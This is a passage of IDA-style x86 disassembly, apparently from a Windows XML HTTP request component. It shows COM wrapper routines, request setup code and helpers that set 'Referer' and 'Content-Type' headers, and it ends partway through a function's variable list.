; ---------------------------------------------------------------------------
		align 8
dword_69B7CF38	dd 0FFFFFFFFh			dd offset loc_69B7CEF3
		dd offset loc_69B7CEFC

; =============== S U B	R O U T	I N E =======================================



sub_69B7CF44	proc near		; DATA XREF: .text:69B1455Co
		push	20h
		push	offset dword_69B7CFD0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7CF64
		mov	eax, 80004005h
		jmp	short loc_69B7CFC4
; ---------------------------------------------------------------------------


loc_69B7CF64:				; CODE XREF: sub_69B7CF44+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+40h]
		jmp	short loc_69B7CFA9
; ---------------------------------------------------------------------------


loc_69B7CF8B:				; DATA XREF: .text:69B7CFD4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7CF94:				; DATA XREF: .text:69B7CFD8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7CFA9:				; CODE XREF: sub_69B7CF44+45j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7CFC4:				; CODE XREF: sub_69B7CF44+1Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B7CF44	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7CFD0	dd 0FFFFFFFFh			dd offset loc_69B7CF8B
		dd offset loc_69B7CF94

; =============== S U B	R O U T	I N E =======================================



sub_69B7CFDC	proc near		; DATA XREF: .text:69B14560o
		push	20h
		push	offset dword_69B7D068
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7CFFC
		mov	eax, 80004005h
		jmp	short loc_69B7D059
; ---------------------------------------------------------------------------


loc_69B7CFFC:				; CODE XREF: sub_69B7CFDC+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+54h]
		jmp	short loc_69B7D03E
; ---------------------------------------------------------------------------


loc_69B7D020:				; DATA XREF: .text:69B7D06Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D029:				; DATA XREF: .text:69B7D070o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D03E:				; CODE XREF: sub_69B7CFDC+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D059:				; CODE XREF: sub_69B7CFDC+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7CFDC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7D068	dd 0FFFFFFFFh			dd offset loc_69B7D020
		dd offset loc_69B7D029

; =============== S U B	R O U T	I N E =======================================



sub_69B7D074	proc near		; DATA XREF: .text:69B14564o
		push	20h
		push	offset dword_69B7D108
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D094
		mov	eax, 80004005h
		jmp	short loc_69B7D0FA
; ---------------------------------------------------------------------------


loc_69B7D094:				; CODE XREF: sub_69B7D074+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		sub	esp, 10h
		lea	esi, [ebp+0Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	eax
		call	dword ptr [ecx+44h]
		jmp	short loc_69B7D0DF
; ---------------------------------------------------------------------------


loc_69B7D0C1:				; DATA XREF: .text:69B7D10Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D0CA:				; DATA XREF: .text:69B7D110o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D0DF:				; CODE XREF: sub_69B7D074+4Bj
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D0FA:				; CODE XREF: sub_69B7D074+1Ej
		call	sub_69B1853C
		retn	14h
sub_69B7D074	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7D108	dd 0FFFFFFFFh			dd offset loc_69B7D0C1
		dd offset loc_69B7D0CA

; =============== S U B	R O U T	I N E =======================================



sub_69B7D114	proc near		; DATA XREF: .text:69B14574o
		push	20h
		push	offset dword_69B7D1A0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D134
		mov	eax, 80004005h
		jmp	short loc_69B7D191
; ---------------------------------------------------------------------------


loc_69B7D134:				; CODE XREF: sub_69B7D114+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+58h]
		jmp	short loc_69B7D176
; ---------------------------------------------------------------------------


loc_69B7D158:				; DATA XREF: .text:69B7D1A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D161:				; DATA XREF: .text:69B7D1A8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D176:				; CODE XREF: sub_69B7D114+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D191:				; CODE XREF: sub_69B7D114+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D114	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7D1A0	dd 0FFFFFFFFh			dd offset loc_69B7D158
		dd offset loc_69B7D161

; =============== S U B	R O U T	I N E =======================================



sub_69B7D1AC	proc near		; DATA XREF: .text:69B1457Co
		push	20h
		push	offset dword_69B7D238
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D1CC
		mov	eax, 80004005h
		jmp	short loc_69B7D229
; ---------------------------------------------------------------------------


loc_69B7D1CC:				; CODE XREF: sub_69B7D1AC+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+60h]
		jmp	short loc_69B7D20E
; ---------------------------------------------------------------------------


loc_69B7D1F0:				; DATA XREF: .text:69B7D23Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D1F9:				; DATA XREF: .text:69B7D240o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D20E:				; CODE XREF: sub_69B7D1AC+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D229:				; CODE XREF: sub_69B7D1AC+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D1AC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7D238	dd 0FFFFFFFFh			dd offset loc_69B7D1F0
		dd offset loc_69B7D1F9

; =============== S U B	R O U T	I N E =======================================



sub_69B7D244	proc near		; DATA XREF: .text:69B14578o
		push	20h
		push	offset dword_69B7D2D0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D264
		mov	eax, 80004005h
		jmp	short loc_69B7D2C1
; ---------------------------------------------------------------------------


loc_69B7D264:				; CODE XREF: sub_69B7D244+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+5Ch]
		jmp	short loc_69B7D2A6
; ---------------------------------------------------------------------------


loc_69B7D288:				; DATA XREF: .text:69B7D2D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D291:				; DATA XREF: .text:69B7D2D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D2A6:				; CODE XREF: sub_69B7D244+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D2C1:				; CODE XREF: sub_69B7D244+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D244	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7D2D0	dd 0FFFFFFFFh			dd offset loc_69B7D288
		dd offset loc_69B7D291

; =============== S U B	R O U T	I N E =======================================



sub_69B7D2DC	proc near		; DATA XREF: .text:69B14580o
		push	20h
		push	offset dword_69B7D368
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D2FC
		mov	eax, 80004005h
		jmp	short loc_69B7D359
; ---------------------------------------------------------------------------


loc_69B7D2FC:				; CODE XREF: sub_69B7D2DC+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+64h]
		jmp	short loc_69B7D33E
; ---------------------------------------------------------------------------


loc_69B7D320:				; DATA XREF: .text:69B7D36Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D329:				; DATA XREF: .text:69B7D370o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D33E:				; CODE XREF: sub_69B7D2DC+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D359:				; CODE XREF: sub_69B7D2DC+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D2DC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7D368	dd 0FFFFFFFFh			dd offset loc_69B7D320
		dd offset loc_69B7D329

; =============== S U B	R O U T	I N E =======================================



sub_69B7D374	proc near		; DATA XREF: .text:69B1456Co
		push	20h
		push	offset dword_69B7D400
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D394
		mov	eax, 80004005h
		jmp	short loc_69B7D3F1
; ---------------------------------------------------------------------------


loc_69B7D394:				; CODE XREF: sub_69B7D374+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+4Ch]
		jmp	short loc_69B7D3D6
; ---------------------------------------------------------------------------


loc_69B7D3B8:				; DATA XREF: .text:69B7D404o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D3C1:				; DATA XREF: .text:69B7D408o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D3D6:				; CODE XREF: sub_69B7D374+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D3F1:				; CODE XREF: sub_69B7D374+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D374	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7D400	dd 0FFFFFFFFh			dd offset loc_69B7D3B8
		dd offset loc_69B7D3C1

; =============== S U B	R O U T	I N E =======================================



sub_69B7D40C	proc near		; DATA XREF: .text:69B14570o
		push	20h
		push	offset dword_69B7D498
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D42C
		mov	eax, 80004005h
		jmp	short loc_69B7D489
; ---------------------------------------------------------------------------


loc_69B7D42C:				; CODE XREF: sub_69B7D40C+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+50h]
		jmp	short loc_69B7D46E
; ---------------------------------------------------------------------------


loc_69B7D450:				; DATA XREF: .text:69B7D49Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D459:				; DATA XREF: .text:69B7D4A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D46E:				; CODE XREF: sub_69B7D40C+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D489:				; CODE XREF: sub_69B7D40C+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D40C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7D498	dd 0FFFFFFFFh			dd offset loc_69B7D450
		dd offset loc_69B7D459

; =============== S U B	R O U T	I N E =======================================



sub_69B7D4A4	proc near		; DATA XREF: .text:69B14584o
		push	20h
		push	offset dword_69B7D530
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D4C4
		mov	eax, 80004005h
		jmp	short loc_69B7D521
; ---------------------------------------------------------------------------


loc_69B7D4C4:				; CODE XREF: sub_69B7D4A4+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+68h]
		jmp	short loc_69B7D506
; ---------------------------------------------------------------------------


loc_69B7D4E8:				; DATA XREF: .text:69B7D534o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D4F1:				; DATA XREF: .text:69B7D538o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D506:				; CODE XREF: sub_69B7D4A4+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D521:				; CODE XREF: sub_69B7D4A4+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D4A4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7D530	dd 0FFFFFFFFh			dd offset loc_69B7D4E8
		dd offset loc_69B7D4F1

; =============== S U B	R O U T	I N E =======================================



sub_69B7D53C	proc near		; DATA XREF: .text:69B14588o
		push	20h
		push	offset dword_69B7D5C8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B7D55C
		mov	eax, 80004005h
		jmp	short loc_69B7D5B9
; ---------------------------------------------------------------------------


loc_69B7D55C:				; CODE XREF: sub_69B7D53C+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+6Ch]
		jmp	short loc_69B7D59E
; ---------------------------------------------------------------------------


loc_69B7D580:				; DATA XREF: .text:69B7D5CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7D589:				; DATA XREF: .text:69B7D5D0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B7D59E:				; CODE XREF: sub_69B7D53C+42j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B7D5B9:				; CODE XREF: sub_69B7D53C+1Ej
		call	sub_69B1853C
		retn	8
sub_69B7D53C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7D5C8	dd 0FFFFFFFFh			dd offset loc_69B7D580
		dd offset loc_69B7D589

; =============== S U B	R O U T	I N E =======================================



sub_69B7D5D4	proc near		; CODE XREF: sub_69B7D5F6+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B9A9C0
		push	off_69B9A9C4
		lea	ecx, [esi+0Ch]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7D5D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7D5F6	proc near		; CODE XREF: sub_69B7DFAE+64p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B7D5D4
		mov	dword ptr [esi], offset	off_69B14538
		mov	dword ptr [esi+4], offset off_69B2A5B8
		mov	dword ptr [esi+0Ch], offset off_69B2A5B4
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7D5F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7D61C	proc near		; CODE XREF: sub_69B7796F+5j
					; DATA XREF: .text:off_69B143A8o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_4]
		lea	ecx, [esi+4]
		push	esi
		call	sub_69B2CE84
		test	eax, eax
		jz	short loc_69B7D645
		push	[ebp+arg_8]
		lea	ecx, [esi+0Ch]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B8803B


loc_69B7D645:				; CODE XREF: sub_69B7D61C+18j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B7D61C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7D64A	proc near		; DATA XREF: .text:off_69B2A5B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7D669
		test	[esp+4+arg_0], 1
		jz	short loc_69B7D662
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B7D662:				; CODE XREF: sub_69B7D64A+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B7D64A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7D669	proc near		; CODE XREF: sub_69B7D64A+3p
		mov	eax, ecx
		lea	ecx, [eax-0Ch]
		neg	ecx
		sbb	ecx, ecx
		mov	dword ptr [eax-0Ch], offset off_69B14538
		mov	dword ptr [eax-8], offset off_69B2A5B8
		mov	dword ptr [eax], offset	off_69B2A5B4
		and	ecx, eax
		jmp	loc_69B88066
sub_69B7D669	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7D68D(int, int, LPCWSTR lpString, char, int, int, int, char, int, int, int, char, int, int, int)

sub_69B7D68D	proc near		; DATA XREF: .text:69B145C8o

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
lpString	= dword	ptr  10h
arg_C		= byte ptr  14h
arg_1C		= byte ptr  24h
arg_2C		= byte ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		call	dword_69B92948
		xor	edi, edi
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jnz	short loc_69B7D6AF
		mov	eax, 80004005h
		jmp	loc_69B7D83A
; ---------------------------------------------------------------------------


loc_69B7D6AF:				; CODE XREF: sub_69B7D68D+16j
		push	edi
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_69B1A8C7
		lea	ecx, [ebp+var_24]
		call	sub_69B3A66D
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx+40h], 0
		jz	short loc_69B7D6DA
		cmp	dword ptr [ebx+3Ch], 5
		jz	short loc_69B7D6DA
		mov	esi, 80004005h
		jmp	loc_69B7D817
; ---------------------------------------------------------------------------


loc_69B7D6DA:				; CODE XREF: sub_69B7D68D+3Bj
					; sub_69B7D68D+41j
		cmp	[ebx+3Ch], edi
		jz	short loc_69B7D6F9
		lea	esi, [ebx+0B8h]
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_69B7D6F1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7D6F1:				; CODE XREF: sub_69B7D68D+5Cj
		mov	eax, [ebx]
		push	ebx
		mov	[esi], edi
		call	dword ptr [eax+48h]


loc_69B7D6F9:				; CODE XREF: sub_69B7D68D+50j
		cmp	[ebp+arg_4], edi
		jz	loc_69B7D80C
		cmp	[ebp+lpString],	edi
		jz	loc_69B7D80C
		push	[ebp+arg_4]
		call	sub_69B84C68
		test	eax, eax
		pop	ecx
		jz	loc_69B7D80C
		push	[ebp+lpString]
		call	sub_69B84C68
		test	eax, eax
		pop	ecx
		jz	loc_69B7D80C
		mov	eax, [ebx+14h]
		cmp	eax, edi
		jz	short loc_69B7D755
		cmp	[eax+8], edi
		jz	short loc_69B7D755
		push	dword ptr [eax+0Ch] ; int
		lea	ecx, [ebp+var_24]
		push	[ebp+lpString]	; lpString
		call	sub_69B3A709
		test	eax, eax
		jl	short loc_69B7D755
		mov	eax, [ebp+var_1C]
		cmp	eax, edi
		jz	short loc_69B7D755
		mov	[ebp+lpString],	eax


loc_69B7D755:				; CODE XREF: sub_69B7D68D+A5j
					; sub_69B7D68D+AAj ...
		lea	eax, [ebx+88h]
		push	eax		; int
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+arg_1C]
		movsd
		movsd
		movsd
		movsd
		call	sub_69B7A851
		mov	[ebx+84h], eax
		lea	eax, [ebx+90h]
		push	eax		; int
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+arg_2C]
		movsd
		movsd
		movsd
		movsd
		call	sub_69B7A851
		cmp	dword ptr [ebx+84h], 0
		mov	[ebx+8Ch], eax
		jz	short loc_69B7D7A5
		test	eax, eax
		jz	short loc_69B7D7A5
		mov	byte ptr [ebx+0B0h], 1


loc_69B7D7A5:				; CODE XREF: sub_69B7D68D+10Bj
					; sub_69B7D68D+10Fj
		push	[ebp+arg_4]
		call	sub_69B7A806
		test	eax, eax
		mov	[ebx+80h], eax
		jnz	short loc_69B7D7BE
		mov	esi, 8007000Eh
		jmp	short loc_69B7D811
; ---------------------------------------------------------------------------


loc_69B7D7BE:				; CODE XREF: sub_69B7D68D+128j
		push	[ebp+lpString]
		mov	ecx, ebx
		call	sub_69B7AB78
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B7D811
		mov	ecx, ebx
		call	sub_69B7B7AC
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B7D811
		push	1		; char
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+arg_C]
		movsd
		movsd
		movsd
		movsd
		call	sub_69B7A93C
		mov	ecx, ebx
		mov	[ebx+0B2h], al
		call	sub_69B7C4A6
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B7D811
		push	1
		mov	ecx, ebx
		call	sub_69B7AA25
		jmp	short loc_69B7D817
; ---------------------------------------------------------------------------


loc_69B7D80C:				; CODE XREF: sub_69B7D68D+6Fj
					; sub_69B7D68D+78j ...
		mov	esi, 80070057h


loc_69B7D811:				; CODE XREF: sub_69B7D68D+12Fj
					; sub_69B7D68D+13Fj ...
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+48h]


loc_69B7D817:				; CODE XREF: sub_69B7D68D+48j
					; sub_69B7D68D+17Dj
		lea	ecx, [ebp+var_24]
		call	sub_69B3A68D
		lea	ecx, [ebp+var_24]
		call	sub_69B3A8F3
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, esi


loc_69B7D83A:				; CODE XREF: sub_69B7D68D+1Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	3Ch
sub_69B7D68D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7D841	proc near		; CODE XREF: sub_69B7DCED+6Fp
		push	ebx
		push	edi
		mov	edi, ecx
		mov	eax, [edi+18h]
		xor	ebx, ebx
		test	eax, eax
		jz	short loc_69B7D87B
		mov	ecx, [eax+0Ch]
		push	esi
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B7D87A
		push	1		; int
		push	esi		; int
		push	offset aReferer_0 ; "Referer"
		mov	ecx, edi
		call	sub_69B7C259
		push	esi		; BSTR
		mov	ebx, eax
		call	SysFreeString


loc_69B7D87A:				; CODE XREF: sub_69B7D841+1Fj
		pop	esi


loc_69B7D87B:				; CODE XREF: sub_69B7D841+Bj
		pop	edi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B7D841	endp

; ---------------------------------------------------------------------------
; const	WCHAR aReferer_0
aReferer_0:				; DATA XREF: sub_69B7D841+24o
		unicode	0, <Referer>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B7D890	proc near		; CODE XREF: sub_69B7D8C5+1F3p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+9Ch]
		push	eax
		lea	eax, [esi+98h]
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_69B55F28
		test	eax, eax
		jl	short loc_69B7D8C1
		push	1		; int
		push	offset aTextXml_0 ; "text/xml"
		push	offset aContentType ; "Content-Type"
		mov	ecx, esi
		call	sub_69B7C259


loc_69B7D8C1:				; CODE XREF: sub_69B7D890+1Cj
		pop	esi
		retn	4
sub_69B7D890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7D8C5	proc near		; CODE XREF: sub_69B7DCED+5Cp

pvarg		= VARIANTARG ptr -40h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ppvData		= dword	ptr -1Ch
plLbound	= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
pvarSrc		= dword	ptr -0Ch
psa		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
